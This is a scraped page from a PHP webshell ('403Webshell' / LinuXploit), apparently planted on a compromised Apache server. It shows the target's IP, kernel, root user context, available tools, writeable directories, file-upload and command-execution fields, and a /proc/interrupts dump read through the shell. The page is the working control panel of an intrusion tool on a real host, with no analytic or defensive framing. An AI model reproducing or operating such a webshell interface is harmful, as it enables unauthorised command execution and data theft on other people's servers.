403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.199
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/interrupts
           CPU0       CPU1       CPU2       CPU3       
  0:         11          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          9          0   IO-APIC   1-edge      i8042
  4:       2064          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          1   IO-APIC   8-edge      rtc0
  9:          0          0          0          0   IO-APIC   9-fasteoi   acpi
 11:          0          0          0          0   IO-APIC  11-fasteoi   virtio5, uhci_hcd:usb1
 12:          0         15          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:         65         10          0          0   PCI-MSI 49152-edge      virtio0-config
 25:  487353660 1607698985  602691896  875731369   PCI-MSI 49153-edge      virtio0-input.0
 26:      44552      12812      12773      12076   PCI-MSI 49154-edge      virtio0-output.0
 27:          1         29          0         45   PCI-MSI 65536-edge      virtio1-config
 28:   62837344   19697942   22432768   11100083   PCI-MSI 65537-edge      virtio1-input.0
 29:       1330        106        236        134   PCI-MSI 65538-edge      virtio1-output.0
 30:          0          0          0          0   PCI-MSI 98304-edge      virtio3-config
 31:  552580606          0          0          0   PCI-MSI 98305-edge      virtio3-req.0
 32:          0  525007721          0          0   PCI-MSI 98306-edge      virtio3-req.1
 33:          0          0  532142599          0   PCI-MSI 98307-edge      virtio3-req.2
 34:          0          0          0  540804764   PCI-MSI 98308-edge      virtio3-req.3
 35:          0          0          0          0   PCI-MSI 81920-edge      virtio2-config
 36:          0          0          0          0   PCI-MSI 81921-edge      virtio2-control
 37:          0          0          0          0   PCI-MSI 81922-edge      virtio2-event
 38:          0          0          0          0   PCI-MSI 81923-edge      virtio2-request
 39:          0          0          0          0   PCI-MSI 81924-edge      virtio2-request
 40:          0          0        256          0   PCI-MSI 81925-edge      virtio2-request
 41:          0          0          0          0   PCI-MSI 81926-edge      virtio2-request
 42:          0          0          0          0   PCI-MSI 114688-edge      virtio4-config
 43:        331          0          0          0   PCI-MSI 114689-edge      virtio4-req.0
 44:          0        143          0          0   PCI-MSI 114690-edge      virtio4-req.1
 45:          0          0        256          0   PCI-MSI 114691-edge      virtio4-req.2
 46:          0          0          0        160   PCI-MSI 114692-edge      virtio4-req.3
NMI:          0          0          0          0   Non-maskable interrupts
LOC: 2077043887 2548944261 2437165829 2321825484   Local timer interrupts
SPU:          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0   Performance monitoring interrupts
IWI:        642        572        242        800   IRQ work interrupts
RTR:          0          0          0          0   APIC ICR read retries
RES: 2096763996 2256373364 2363703512 2198769024   Rescheduling interrupts
CAL:   69996761   71376573   72377158   70593894   Function call interrupts
TLB:    7045929    7108489    7074708    7070461   TLB shootdowns
TRM:          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0   Machine check exceptions
MCP:     378332     378332     378332     378332   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit